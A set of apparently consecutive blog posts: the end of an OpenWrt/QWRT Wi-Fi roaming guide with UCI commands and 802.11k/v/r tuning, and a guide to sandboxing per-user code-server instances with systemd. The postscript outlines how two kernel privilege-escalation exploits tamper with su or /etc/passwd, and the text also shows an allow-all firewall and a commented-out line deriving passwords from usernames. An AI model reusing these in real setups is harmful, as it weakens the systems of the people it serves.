saving, you should see that PPPoE has successfully dialed and you can access the internet normally: (I changed the entire br-lan subnet to 192.168.3.0/24; this step is not required.) Modifying Basic Wi‑Fi Settings Through testing I found that… modifying Wi‑Fi information directly via LuCI on the main router doesn't take effect properly (as mentioned above). Therefore, I modified the settings via UCI over SSH: uci set wireless.ath0.ssid='[CENSORED]' uci set wireless.ath0.encryption='psk2+ccmp' uci set wireless.ath0.key='[CENSORED]' uci set wireless.ath1.ssid='[CENSORED]' uci set wireless.ath1.encryption='psk2+ccmp' uci set wireless.ath1.key='[CENSORED]' uci commit wireless wifi reload Here, SSID is the Wi‑Fi name, and the encryption value psk2+ccmp stands for WPA2-PSK/AES, the commonly used WPA2-AES configuration. Although WPA3/SAE is more secure, in multi-AP + 802.11r roaming scenarios, WPA2-PSK + FT-PSK generally offers better compatibility. Some phones or IoT devices may experience connection failures, roaming failures, or slower switching when using combinations like WPA2/WPA3 Mixed, FT-SAE, PMF, etc. If maximum compatibility is the priority, it is recommended to use WPA2-PSK/AES for the primary SSID used for whole-home roaming, and ensure that the encryption method is consistent across both the main router and the satellite router. For the satellite router, since we want roaming, both Wi‑Fi networks must be on the same L2 segment. This requires disabling the satellite's DHCP server and configuring it as a device under the main router. Therefore, the following configuration steps apply to the satellite router: Remove all other interfaces under Network -> Interfaces -> Interfaces, keeping only br-lan: Under Network -> Interfaces -> Devices, add the wan port to the br-lan device: Assign an IP address to the br-lan device under Network -> Interfaces -> Devices: Make sure to include the subnet mask for the IPv4 address, and set the IPv4 gateway to the IP address of the main router. Under Network -> Firewall -> General Settings, adjust the firewall rules to allow traffic. (btw, because I didn't want to bother with detailed rules and figured internal devices shouldn't be at much risk, I simply allowed everything. Please do not follow this if you have specific security needs xD) Since the main router and satellite router are now on the same L2 broadcast domain, there should only be one DHCP server on the LAN: the main router. If the satellite's DHCP server is not turned off, clients might receive DHCP responses from both routers during connection or roaming, leading to incorrect gateways/DNS, or issues like DHCPNAK wrong server-ID. Symptoms of this problem may include: Wi‑Fi has already switched to another AP, but network recovery is slow; Brief disconnection after roaming; Client reacquires an IP address; Occasional gateway/DNS anomalies; It looks like 802.11r isn't working, but the real culprit is the DHCP layer. On the satellite router, run via SSH: uci set dhcp.lan.ignore='1' uci commit dhcp /etc/init.d/dnsmasq restart If the satellite router also has IPv6 RA / DHCPv6 enabled and you want the main router to handle all IPv6, you can also disable them: uci set dhcp.lan.ra='disabled' uci set dhcp.lan.dhcpv6='disabled' uci set dhcp.lan.ndp='disabled' uci commit dhcp /etc/init.d/odhcpd restart After disabling, you can verify with: uci show dhcp.lan You should see something like: dhcp.lan.ignore='1' That's it. Note that the dnsmasq process still running does not mean the satellite is still handing out DHCP leases. As long as the generated configuration contains something like: no-dhcp-interface=br-lan it means it will no longer provide DHCP service on the LAN / br-lan. After saving and applying, you should be able to connect through the main router and access the satellite via the IP address you assigned. (I couldn't find a clear option to disable the DHCP service in LuCI for this part, so I had GPT edit UCI directly via SSH.) In the satellite router's Network -> Wireless, configure the SSID interfaces to match the main router's settings: At this point, both Wi‑Fi networks should connect successfully (albeit with the same SSID). Configuring 802.11 k/v/r Main Router uci set wireless.ath0.ieee80211k='1' uci set wireless.ath0.rrm_neighbor_report='1' uci set wireless.ath0.rrm_beacon_report='1' uci set wireless.ath0.ieee80211v='1' uci set wireless.ath0.time_advertisement='0' uci set wireless.ath0.wnm_sleep_mode='0' uci set wireless.ath0.bss_transition='1' uci set wireless.ath0.ieee80211r='1' uci set wireless.ath0.nasid='Master_2_4G' uci set wireless.ath0.mobility_domain='cafe' uci set wireless.ath0.reassociation_deadline='1000' uci set wireless.ath0.ft_over_ds='0' uci set wireless.ath0.ft_psk_generate_local='1' uci set wireless.ath1.ieee80211k='1' uci set wireless.ath1.rrm_neighbor_report='1' uci set wireless.ath1.rrm_beacon_report='1' uci set wireless.ath1.ieee80211v='1' uci set wireless.ath1.time_advertisement='0' uci set wireless.ath1.wnm_sleep_mode='0' uci set wireless.ath1.bss_transition='1' uci set wireless.ath1.ieee80211r='1' uci set wireless.ath1.nasid='Master_5G' uci set wireless.ath1.mobility_domain='cafe' uci set wireless.ath1.reassociation_deadline='1000' uci set wireless.ath1.ft_over_ds='0' uci set wireless.ath1.ft_psk_generate_local='1' uci commit wireless wifi reload It's important to note that 802.11k/v/r does not mean the AP actively forces clients to roam. The final roaming decision still rests with the client. The AP merely provides neighbor information, roaming suggestions, and fast reassociation capabilities via these protocols. Support for these protocols varies across different phones, computers, and IoT devices. The configuration above covers two wireless interfaces: ath0: Main router 2.4G ath1: Main router 5G The configuration logic is identical for both interfaces; only the nasid differs. 1. 802.11k: Radio Resource Measurement / Neighbor Report Related configuration: uci set wireless.ath0.ieee80211k='1' uci set wireless.ath0.rrm_neighbor_report='1' uci set wireless.ath0.rrm_beacon_report='1' 1.1 ieee80211k='1' Enables 802.11k Radio Resource Management. The main purpose of 802.11k is to allow the AP to provide information about surrounding APs to clients. Clients don't need to blindly scan all channels; they can use the neighbor list provided by the AP to find a suitable roaming target faster. Simple understanding: 802.11k lets the client know "what other APs with the same SSID are nearby and available to switch to." Without 802.11k, clients usually need to scan channels themselves. Scanning takes time and can cause brief stutters. When enabled, clients that support 802.11k can obtain candidate AP information more quickly. 1.2 rrm_neighbor_report='1' Enables Neighbor Report. This is the most commonly used and critical capability within 802.11k. The AP provides the client with information about neighboring BSSs, such as: Neighbor AP's BSSID Channel PHY type Whether it belongs to the same ESS Supported roaming capabilities Simple understanding: This parameter allows the AP to tell the client: "Here are the nearby APs, and these are the channels they are on." This is very important for multi-AP roaming because the client doesn't have to scan from channel 1 to channel 165; it can prioritize scanning the candidate channels suggested by the AP. 1.3 rrm_beacon_report='1' Enables Beacon Report support. Beacon Report allows the AP to request that the client report information about the beacons it has scanned. In other words, the client can tell the AP: Which APs it has seen Their signal strength Which channels they are on An overview of the current wireless environment Simple understanding: Neighbor Report is the AP telling the client what's nearby; Beacon Report is the client telling the AP what it sees in return. In a typical home network, rrm_neighbor_report usually has a more immediate effect; rrm_beacon_report is a supplementary capability — just enable it. 2. 802.11v: BSS Transition / Roaming Guidance Related configuration: uci set wireless.ath0.ieee80211v='1' uci set wireless.ath0.time_advertisement='0' uci set wireless.ath0.wnm_sleep_mode='0' uci set wireless.ath0.bss_transition='1' 2.1 ieee80211v='1' Enables 802.11v Wireless Network Management. 802.11v covers a broad range of functions. For home Wi‑Fi roaming, the most relevant is BSS Transition Management. Simple understanding: 802.11v allows the AP to send a request to the client saying, "I suggest you switch to another AP." Note that this is only a suggestion, not a command. The client can accept or decline. For instance, a client might still be connected to the main router but has physically moved close to the satellite router. The AP can use 802.11v to inform it: Your signal to this AP is now relatively weak; you might consider switching to that nearby AP. Enabling 802.11v can improve the "sticky client" problem, but it does not guarantee that all devices will comply. 2.2 bss_transition='1' Enables BSS Transition Management. This is the most crucial roaming-related feature within 802.11v. Once enabled, the AP can send BSS Transition Management Requests to clients, typically containing a list of recommended target APs. Simple understanding: ieee80211v is the master switch for 802.11v; bss_transition enables the actual function used for roaming suggestions. If you enable ieee80211v without bss_transition, the roaming guidance effect may be incomplete. 2.3 time_advertisement='0' Disables Time Advertisement. 802.11v includes a Time Advertisement function where the AP can broadcast time information to clients. Time synchronization from the AP is generally not needed in a home Wi‑Fi roaming scenario, so this is set to 0. 2.4 wnm_sleep_mode='0' Disables WNM Sleep Mode. WNM Sleep Mode is part of 802.11v and is mainly used for client power saving. The client can enter a special sleep state while the AP retains some context for it. This feature is typically not relied upon in home routers or multi-AP roaming scenarios, and compatibility with some devices may be problematic, so it is disabled here. 3. 802.11r: Fast Transition / Fast Roaming Related configuration: uci set wireless.ath0.ieee80211r='1' uci set wireless.ath0.mobility_domain='cafe' uci set wireless.ath0.reassociation_deadline='1000' uci set wireless.ath0.ft_over_ds='0' uci set wireless.ath0.ft_psk_generate_local='1' 3.1 ieee80211r='1' Enables 802.11r Fast BSS Transition. The purpose of 802.11r is to shorten the authentication and reassociation time when a client switches from one AP to another. During a normal roam, the client may need to complete an entire authentication process again. 802.11r pre-derives part of the key material, allowing for a faster transition when the client decides to switch. It does not dictate when the client should roam, but when the client does decide to roam, it makes the handover process faster. Suitable for scenarios like: Moving a phone between rooms Voice calls Video conferencing Gaming Multi-AP same-SSID environments Note that: Most modern devices support 802.11r Some older or less compatible IoT devices may not like 802.11r If you encounter devices that fail to connect, suspect 802.11r compatibility first 3.2 mobility_domain='cafe' Sets the Mobility Domain. The Mobility Domain is the roaming domain identifier for 802.11r. Only APs within the same Mobility Domain will be considered by clients as part of the same fast roaming domain. For a given SSID, all APs participating in 802.11r fast roaming should use the same mobility_domain. Here we use: uci set wireless.ath0.mobility_domain='cafe' cafe is a 16-bit hexadecimal value (exactly 4 hex characters), akin to a magic number like DEADBEEF. This value can be customized, for example: mobility_domain='1234' mobility_domain='abcd' mobility_domain='beef' But note: It must be identical within the same roaming network It can differ between independent networks It must be a 4-character hexadecimal string 3.3 reassociation_deadline='1000' Sets the reassociation deadline. This parameter indicates the maximum time window allowed for the client to complete a Fast Transition reassociation. The unit is typically understood as TU (1 TU ≈ 1.024 ms). 1000 TU is approximately 1 second. Simple understanding: After the client initiates fast roaming, it needs to complete the reassociation within this time window. In a home network, 1000 is a common, lenient, and safe choice. Too short a deadline might prevent some devices from completing the switch in time; too long generally offers no obvious benefit. 3.4 ft_over_ds='0' Sets the Fast Transition method for 802.11r. 802.11r has two common modes: FT over the Air FT over DS Here we use FT over the Air: uci set wireless.ath0.ft_over_ds='0' (i.e., ft_over_ds is disabled, which enables FT over the Air). FT over the Air The client performs the fast transition directly with the target AP. This is the more common and intuitive method in non-enterprise environments. FT over DS The client communicates with the target AP through the currently connected AP over the distribution system. The networked device first contacts the new AP via the old AP, then completes the switch. In an actual home OpenWrt/QWRT multi-AP setup, it doesn't provide a significant advantage and may introduce device compatibility issues. 3.5 ft_psk_generate_local='1' Allows the local AP to generate the keys required for 802.11r based on the PSK. In home network scenarios using WPA-PSK / SAE Mixed, the AP can locally derive the necessary key material for Fast Transition using the Wi‑Fi password. Home networks typically do not have an enterprise authentication server, so this parameter can simply be turned on. Applicable scenarios: WPA2-PSK WPA2/WPA3 Mixed SAE mixed (depending on firmware support) Ordinary home networks without RADIUS 4. NAS ID: Unique Identity for Each BSS uci set wireless.ath0.nasid='Master_2_4G' uci set wireless.ath1.nasid='Master_5G' 4.1 nasid='Master_2_4G' nasid stands for NAS Identifier, which is the identity of the current BSS. In 802.11r scenarios, it is used to differentiate between different APs / BSSs. Every wireless interface participating in roaming should have a unique nasid. For example, on the main router: ath0 -> Master_2_4G ath1 -> Master_5G And correspondingly on the satellite router: 2.4G -> Slave_2_4G 5G -> Slave_5G 5. Why Configure the Same Parameters for All ath Interfaces? Because ath0, ath1, and ath2 are three distinct wireless BSSs. Even if they broadcast the same SSID, they remain independent wireless interfaces within the system. Therefore, the 802.11k/v/r parameters must be applied to each interface separately. This set of parameters can be summarized as: Parameter Protocol Function ieee80211k 802.11k Enable radio resource measurement rrm_neighbor_report 802.11k Allow AP to provide neighbor AP list rrm_beacon_report 802.11k Allow client to report scanned beacon information ieee80211v 802.11v Enable wireless network management capabilities bss_transition 802.11v Allow AP to send roaming suggestions to clients time_advertisement 802.11v Time advertisement; typically disabled in home roaming wnm_sleep_mode 802.11v WNM power saving mode; typically disabled in home roaming ieee80211r 802.11r Enable fast roaming nasid 802.11r / hostapd Identifies current BSS; recommended to be unique mobility_domain 802.11r Sets fast roaming domain; must be consistent across all APs reassociation_deadline 802.11r Sets the time window for fast reassociation ft_over_ds 802.11r Selects FT method; 0 means FT over the Air ft_psk_generate_local 802.11r Generate FT keys locally based on PSK Satellite Router You can directly enable the corresponding settings in LuCI. Refer to my configuration: Apply the same settings to all three wireless interfaces, ensuring the NAS ID is unique for each. Also, make sure the encryption settings are exactly the same on both ends. 802.11r only reduces the re-authentication time during roaming, but it requires that APs within the same roaming domain have consistent parameters: SSID, password, encryption method, Mobility Domain, etc. If the main router uses WPA2-PSK and the satellite uses WPA2/WPA3 Mixed, or if one enables SAE/FT-SAE while the other only enables FT-PSK, clients may not be able to use the same Fast Transition process during roaming. This can manifest as: Brief disconnection of the Wi‑Fi icon during roaming; Re-performing the 4-Way Handshake after switching; Stuttering in voice/video calls; Inability of some IoT devices to connect. Therefore, if the priority is stable whole-home roaming, it is recommended that all APs participating in the same SSID roaming use: WPA2-PSK / AES-CCMP / FT-PSK Which in OpenWrt/QWRT is commonly: encryption='psk2+ccmp' ieee80211r='1' ft_psk_generate_local='1' ft_over_ds='0' mobility_domain='cafe' WPA3/SAE can be put on a separate SSID for newer devices, and should not be mixed with the IoT / whole-home roaming main SSID. Frequency Band Analysis My home network environment is relatively complex. The main router is located in the center of the living room, which is openly connected to the kitchen and balcony, so the main router's signal can directly cover those areas. The satellite router is in the study, with bedrooms on both sides. The study and living room are connected by a short hallway, and Bedroom A is separated from the living room by the bathroom: The two asterisks mark the main router (living room) and the satellite router (study). The frequency band data collected in each room is as follows: Master Bedroom Study (the high red peak here is from the satellite router) Second Bedroom It can be observed that the channel in the master bedroom is fairly clean, the study has a strong signal thanks to the satellite router, but the second bedroom suffers from severe interference, coupled with a weaker signal. Additionally, our two APs (the two strongest red Wi‑Fi signals) are currently both crowded onto the same channels, resulting in actual speed tests of only about 80 Mbps. Therefore, we need to make some minor adjustments to the channels and power levels, and also configure 802.11 k/v/r. Tuning Power and Channels The main goal is to separate the channels and prevent clients from sticking to a specific access point. I can't fully explain all the reasoning myself; I also referenced a lot of configurations suggested by AI. Let's have AI explain it here too (escape) 1. Band Strategy (Channel): Fully Separated to Avoid Co-Channel Interference The main and satellite routers use completely non-overlapping channels on all bands, which is the most critical step in a multi-router setup. 2.4 GHz Band (Main 1 / Satellite 11): In the 2.4 GHz band, only channels 1, 6, and 11 are completely non-overlapping and interference-free. The main and satellite routers occupy channels 1 and 11 respectively, ensuring that the two devices do not "fight" each other (co-channel interference) when transmitting 2.4 GHz signals, thereby ensuring the stability of smart home devices that rely on 2.4 GHz. 5 GHz Band (Main 36 / Satellite 52): The main router uses the lower channel 36, and the satellite uses the DFS channel 52. These two channels are completely independent when using an 80 MHz bandwidth. Summary: This spatial channel isolation means that when a device moves between the main and satellite routers, the background noise floor is minimal, maximizing network throughput. 2. Bandwidth Strategy: Balancing Stability and Extreme Speed 2.4 GHz uses 20 MHz: This is a very sensible approach. Although 40 MHz is theoretically faster, in the extremely crowded 2.4 GHz band (microwave ovens, Bluetooth all operate here), enabling 40 MHz multiplies interference, often leading to frequent dropouts. Locking it to 20 MHz sacrifices peak speed but trades it for maximum wall-penetration stability and coverage, which is ideal for IoT smart devices that don't require high speeds. 5 GHz uses 80 MHz: 80 MHz is the current sweet-spot bandwidth for most phones and computers, capable of providing extremely high internal network transfer speeds and external download speeds. It is the primary internet access band. 3. Power Strategy (Tx Power): "Weak 2.4 GHz, Strong 5 GHz" This power configuration is the most brilliant aspect of this set of parameters, perfectly addressing the "sticky client" problem in multi-AP environments. 2.4 GHz Power Lowered (18 dBm / 20 dBm): 2.4 GHz signals have long wavelengths and strong wall-penetration ability. If the power isn't reduced, a phone moving around the house will stubbornly "cling" to a distant 2.4 GHz signal, resulting in extremely slow speeds. Lowering the 2.4 GHz power on both routers artificially shrinks the 2.4 GHz coverage circle, encouraging the device to disconnect sooner when the signal weakens and search for a better signal. 5 GHz Power Maximized (23 dBm / 24 dBm): 5 GHz signals have poor wall penetration and attenuate quickly. Keeping the power high helps compensate for this weakness, extending the high-speed 5 GHz coverage area. Summary: This power differential configuration creates a natural form of "band steering" at the physical layer. When a phone receives both 2.4 GHz and 5 GHz signals simultaneously, the high-powered 5 GHz signal's strength can easily surpass the low-powered 2.4 GHz signal, making the phone willingly prioritize connecting to the faster 5 GHz network. 4. Roaming Coordination With the physical layer parameters — band, bandwidth, and power — all optimally tuned as described above, the 802.11k/v/r protocols form a perfect roaming closed loop: 11k (Neighbor Report) + 11v (BSS Transition Management): The routers actively tell the phone "which nearby node has a better signal" and suggest it switch. Because the 2.4 GHz power is suppressed, the phone is more likely to trigger the 11v switching threshold when moving. 11r (Fast Transition): Combined with a unified SSID (PINer) and the same encryption method, this eliminates the several hundred milliseconds normally required for re-entering the password and re-authenticating when the phone switches routers, achieving a truly "seamless" experience (e.g., WeChat voice calls don't drop). The consistent mobility_domain and unique nasid are also standard requirements for 11r configuration. Ref: Gemini The final configuration for band, bandwidth, and power is: Main Router 192.168.3.1 2.4G: channel 1 / 20 MHz / 18 dBm 5G: channel 36 / 80 MHz / 24 dBm Satellite Router 192.168.3.2 2.4G: channel 11 / 20 MHz / 20 dBm 5G: channel 52 / 80 MHz / 23 dBm Results & Follow-up In the final testing, connections defaulted to the main router in the living room, balcony, kitchen, and bathroom. In the second bedroom, it automatically switches to the satellite router. Closing the door in the study also triggers a switch from the main router to the satellite. It takes about 5 seconds from signal degradation to the actual switch. The master bedroom was inconsistent; sometimes it switches, sometimes it doesn't, but it switched in 3 out of 5 tests. Speed test after plugging into the 5 Gbps port: The actual measured downstream speed reached 1336.31 Mbps, and the upstream speed reached 158.16 Mbps. I guess that counts as a success? However, the perceived improvement in daily use isn't huge because, at the time of testing, very few platforms could saturate such speeds. Combined with current carrier strategies like QoS, speeds are rarely maxed out. Still, multi-threaded download tools like IDM might be able to take better advantage of it, I suppose?
Leveraging systemd Features to Build a Multi-tenant CodeServer
Analysis The motivation came from a university Python course – I didn't want to bring my heavy laptop to every class, so I tried to see if a tablet could do the job. After some searching, I found coder/code-server: VS Code in the browser which fit the requirements perfectly while also being cross-platform. I deployed it for myself, but later my friends also wanted access. That got me thinking about how to support multi-tenancy and security simultaneously. Initially I considered containerization, but because of the need to install new pip packages, containers would have been tricky – I would have had to persist Python site-packages and everything, and performance would suffer. So I decided to stick with a binary deployment. The requirements are simple, roughly summarized as follows: Each user can log into CodeServer using their own domain name. Each user can change their own login password. Each user's Python environment is completely isolated and can independently install pip packages. Users should not be able to access each other's files. Prevent users from accidentally deleting critical system components. Prevent users from accidentally writing infinite loops or similar that exhaust server resources. Prevent users from using the server for cryptocurrency mining or as a jump box for attacks. After analysis and discussions with AI, the final solution is roughly as follows: Use Linux's native multi-user mechanism – each user runs a CodeServer under their own home directory for basic isolation. This easily satisfies requirements 1, 4 and 5. Listening ports are calculated based on UID. Create a venv manually for each user and activate it automatically via .bashrc to satisfy requirement 3. Use systemd's restrictions to limit process behavior, achieving requirements 6–7 to a certain extent. Use systemd's path mechanism to monitor $HOME/.config/code-server/config.yaml and automatically restart the daemon, allowing users to change their login password by modifying the configuration file – a relatively elegant way to achieve requirement 2. For requirement 7, given the computer literacy level of first-year students, I'm not too worried (I hope?). I didn't cut off network access completely because some requirements need internet to download packages, or might involve web scraping. systemd's restrictions should already block most malicious operations. This article does not cover SELinux, because in my opinion SELinux would be over-engineering for these requirements, and I'm not very familiar with SELinux/SEPolicy (that's the main reason lol). I also wanted to avoid imposing restrictions that hinder legitimate usage, so SELinux is not used. Deployment Configuring systemd Download the CodeServer binary and upload it to the server – for example, I put it at /usr/bin/code-server. Then write the systemd service file, create /etc/systemd/system/code-server@.service: # /etc/systemd/system/code-server@.service [Unit] Description=Code-Server for %i After=network.target [Service] Type=simple User=%i Group=%i WorkingDirectory=/home/%i MemoryMax=1G CPUQuota=150% TasksMax=200 IOWeight=50 ProtectSystem=strict PrivateTmp=yes PrivateDevices=yes NoNewPrivileges=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX # ExecStart=/bin/bash -c "PASSWORD=$(echo -n "%i" | md5sum | cut -d' ' -f1) /usr/bin/code-server --bind-addr 0.0.0.0:$((7000 + $(id -u %i))) --auth password" ExecStart=/bin/bash -c ' \ PORT=$((7000 + $(id -u %i) %% 10000)); \ /usr/bin/code-server --bind-addr 0.0.0.0:$PORT; \ ' Restart=always RestartSec=5 [Install] WantedBy=multi-user.target The filename is code-server@.service; the part after @ is substituted for %i. The design passes the username via %i, calculates the port, and starts automatically. The port calculation logic is 7000+uid%10000. Typically UIDs start from 1000, so ports start from 8000 in order of user creation. Note this part of the configuration: MemoryMax=1G CPUQuota=150% TasksMax=200 IOWeight=50 ProtectSystem=strict PrivateTmp=yes PrivateDevices=yes NoNewPrivileges=yes RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX (I'll let AI explain it) It mainly covers two aspects: Resource Control and Security & Sandboxing. I. Resource Control This uses Linux's cgroups mechanism to prevent the service from consuming excessive system resources and affecting other programs. MemoryMax=1G Effect: Limits the service to a maximum of 1GB of memory. Outcome: If the service tries to use more than 1GB, the system (OOM Killer) will forcibly kill the process to protect the system. CPUQuota=150% Effect: Limits the service to at most 150% CPU usage. Outcome: 100% represents one full CPU core. 150% means the service can saturate one core and use half of a second core (i.e., up to 1.5 CPU cores' worth of compute). TasksMax=200 Effect: Limits the service to a maximum of 200 tasks (processes or threads). Outcome: Prevents the service from creating unlimited child processes due to bugs or infinite loops (e.g., fork bomb), which could exhaust system PID resources and crash the system. IOWeight=50 Effect: Sets the disk I/O priority weight. The default is usually 100. Outcome: A value of 50 means when system I/O is busy, this service gets lower priority for disk read/write resources compared to default services, preventing it from choking the whole system when doing heavy file I/O. II. Security & Isolation This uses Linux namespaces and other kernel security mechanisms to "cage" the service, minimizing damage even if the service is compromised. ProtectSystem=strict Effect: Strictly protects system files. Outcome: The entire operating system's filesystem (the root / and everything under it, except special API directories like /dev, /proc, /sys) is made read-only for this service. The service cannot modify, overwrite, or delete any critical system files. PrivateTmp=yes Effect: Provides an independent temporary directory for the service. Outcome: The service sees its own private /tmp and /var/tmp directories. It cannot see or modify files placed in the global /tmp by other users/services, and vice versa. This effectively prevents symlink attacks or data leaks based on temporary files. PrivateDevices=yes Effect: Isolates physical devices. Outcome: Mounts a private /dev directory for the service, containing only pseudo-devices (e.g., /dev/null, /dev/zero, /dev/urandom). The service cannot see real physical hardware devices (like /dev/sda, USB devices), completely eliminating the possibility of directly reading/writing block devices. NoNewPrivileges=yes Effect: Prevents privilege escalation. Outcome: Ensures that the service and all its child processes, no matter what, cannot gain new system privileges. Even if the service invokes a program with the SUID bit (e.g., sudo or su), it cannot escalate to root privileges. RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX Effect: Restricts the socket address families the service can use. Outcome: The service can only use: AF_INET: IPv4 network communication AF_INET6: IPv6 network communication AF_UNIX: local UNIX domain sockets (for local IPC) Any other address families (e.g., low-level packet capture AF_PACKET, Bluetooth AF_BLUETOOTH, etc.) are blocked by the kernel. This greatly reduces the network attack surface. When creating a new user, just run: adduser <username> systemctl enable --now code-server@<username> to simultaneously create the corresponding CodeServer service. Configuring password change auto-restart Create /etc/systemd/system/code-server-restart@.path: # /etc/systemd/system/code-server-restart@.path [Unit] Description=Monitor code-server config change for %i After=network.target [Path] PathChanged=/home/%i/.config/code-server/config.yaml [Install] WantedBy=multi-user.target Create /etc/systemd/system/code-server-restart@.service: [Unit] Description=Triggered safe restart for %i [Service] Type=oneshot User=root ExecStart=/usr/local/bin/safe-restart-codeserver.sh %i [Install] WantedBy=multi-user.target The logic works like this: Step 1: Start monitoring (handled by the .path file) The system or administrator starts code-server-restart@yms.path. systemd parses the .path file, replacing %i with yms. PathChanged=/home/yms/.config/code-server/config.yaml: systemd starts quietly listening (using the inotify mechanism) for changes to this specific config.yaml file at the kernel level. Step 2: Detect change and trigger The user modifies settings in the CodeServer web interface, or edits config.yaml via the command line and saves. PathChanged detects that the file has been modified and closed (ensuring the write is complete and avoiding reading half-written dirty data). Implicit binding: Because the .path file does not explicitly specify a service to trigger using Unit=, systemd's default behavior is to trigger the .service file with the same name (without the suffix). systemd then automatically starts code-server-restart@yms.service. Step 3: Execute the action (handled by the .service file) systemd executes code-server-restart@yms.service. Again, %i is replaced with yms. Type=oneshot: Tells the system this is not a long-running daemon but a one-shot task. It exits when done. User=root: The restart operation requires higher privileges, so it's forced to run as root. ExecStart=/usr/local/bin/safe-restart-codeserver.sh <user>: This is the final step in the logic. The system runs the custom shell script as root, passing the username as an argument. We don't restart the main daemon directly inside the restart service because CodeServer auto-saves on every edit. There's a risk that during password changes, a half-edited file might trigger a restart, causing incomplete writes. So we write a script that waits until the file is stable before triggering the restart: /usr/local/bin/safe-restart-codeserver.sh #!/bin/bash USER_NAME=$1 CONFIG_FILE="/home/$USER_NAME/.config/code-server/config.yaml" STAMP_FILE="/tmp/code-server-restart-${USER_NAME}.stamp" # 1. Intercept: if stamp file exists and config file is older (or same age) than stamp, # this trigger is a leftover queued event from systemd – exit if [ -f "$STAMP_FILE" ] && [ "$CONFIG_FILE" -ot "$STAMP_FILE" ]; then echo "Config hasn't changed since last restart, exiting." exit 0 fi # 2. Debounce wait logic (unchanged) while true; do last_md5=$(md5sum "$CONFIG_FILE") sleep 5 current_md5=$(md5sum "$CONFIG_FILE") if [ "$last_md5" == "$current_md5" ]; then # File is stable, perform restart systemctl restart code-server@$USER_NAME # 3. After successful restart, update the stamp file's mtime touch "$STAMP_FILE" break else echo "Config file for $USER_NAME is still changing, waiting..." fi done The timestamp mechanism prevents multiple pointless restarts. If the config file's last edit time is earlier than the last restart time, the restart is rejected. After writing the files, enable the trigger: systemctl enable --now code-server-restart@<username>.path (note it's .path, not .service). Then try slowly editing the password in the config file via the web interface, and check the logs for something like: ○ code-server-restart@lyr.service - Triggered safe restart for lyr Loaded: loaded (/etc/systemd/system/code-server-restart@.service; disabled; preset: enabled) Active: inactive (dead) since Sat 2026-06-06 06:43:55 UTC; 29s ago Invocation: 0bd37fcb6ea44a58870c06b4fde5300c TriggeredBy: ● code-server-restart@lyr.path Process: 6997 ExecStart=/usr/local/bin/safe-restart-codeserver.sh lyr (code=exited, status=0/SUCCESS) Main PID: 6997 (code=exited, status=0/SUCCESS) Mem peak: 2.5M CPU: 43ms Jun 06 06:43:40 CodeServer systemd[1]: Starting code-server-restart@lyr.service - Triggered safe restart for lyr... Jun 06 06:43:45 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting... Jun 06 06:43:50 CodeServer safe-restart-codeserver.sh[6997]: Config file for lyr is still changing, waiting... Jun 06 06:43:55 CodeServer systemd[1]: code-server-restart@lyr.service: Deactivated successfully. Jun 06 06:43:55 CodeServer systemd[1]: Finished code-server-restart@lyr.service - Triggered safe restart for lyr. After editing stops for 5 seconds, CodeServer will restart, and the new password can be used to log in. Configuring Python venv First, install Python3 on the system (no need to elaborate – use the package manager). Also install python3-venv: apt install python3-venv Then, enter the user's home directory. I chose to create a folder named .venv for the virtual environment. Inside .venv, run python3 -m venv myvenv to create a virtual environment named myvenv, and append the following line to the user's .bashrc: fi fi +source ~/.venv/myvenv/bin/activate After that, the venv is automatically activated when the shell starts. Installing the Python extension in CodeServer and pointing it to the venv I won't go into detail here – just install the Python and debugger extensions in the CodeServer web interface, and set the Python interpreter to the one under the venv. Postscript I actually set this up a long time ago but never wrote about it. At that time, vulnerabilities like CopyFail and DirtyFrag hadn't been disclosed yet. When they were disclosed, I tested them immediately and found that this systemd configuration happened to block them all. A rough analysis follows: CopyFail uses a special socket type: AF_ALG. Our systemd configuration only allows AF_INET AF_INET6 AF_UNIX, so CopyFail cannot escalate privileges. Similarly for DirtyFrag – it uses AF_NETLINK, AF_RXRPC, and AF_ALG, all of which are blocked. Also, NoNewPrivileges=yes acts as a final line of defense. The ultimate goal of those exploits is to tamper with /usr/bin/su to inject malicious ELF shellcode, or modify /etc/passwd to clear the root password, then invoke the setuid su command to gain root privileges. With NoNewPrivileges set, the process and all its descendants can absolutely never gain higher privileges through the setuid or setgid flags of any file. Even if a future vulnerability finds a way to bypass the network restrictions and successfully replace /usr/bin/su with a malicious shell, executing su would still spawn a low-privilege shell – privilege escalation becomes impossible. This article does not cover SELinux, because the current solution is acceptably simplified for the scenario of "friends sharing, non-production critical", avoiding the risk of misconfiguration causing functional issues and operational complexity. In reality, systemd's sandboxing options are primarily based on namespaces and cgroups, and cannot fully replace mandatory access control (like SELinux or AppArmor). For higher security requirements for tenant isolation (e.g., preventing kernel escape vulnerabilities among untrusted users), SELinux/AppArmor is still the mainstream choice. Of course, this solution has other limitations. For example, when there are many users or special UID allocation requirements that exceed 10000, the port calculation logic may fail. For legitimate needs like scientific computing, the current restrictions may be too strict. This article is only intended as a discussion and reference. Random thoughts: In the age of containerization and cloud-native, traditional systemd still has many interesting features worth exploring that can accomplish a lot… Reference: systemd.git - A fork of systemd to make components more independant
Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router
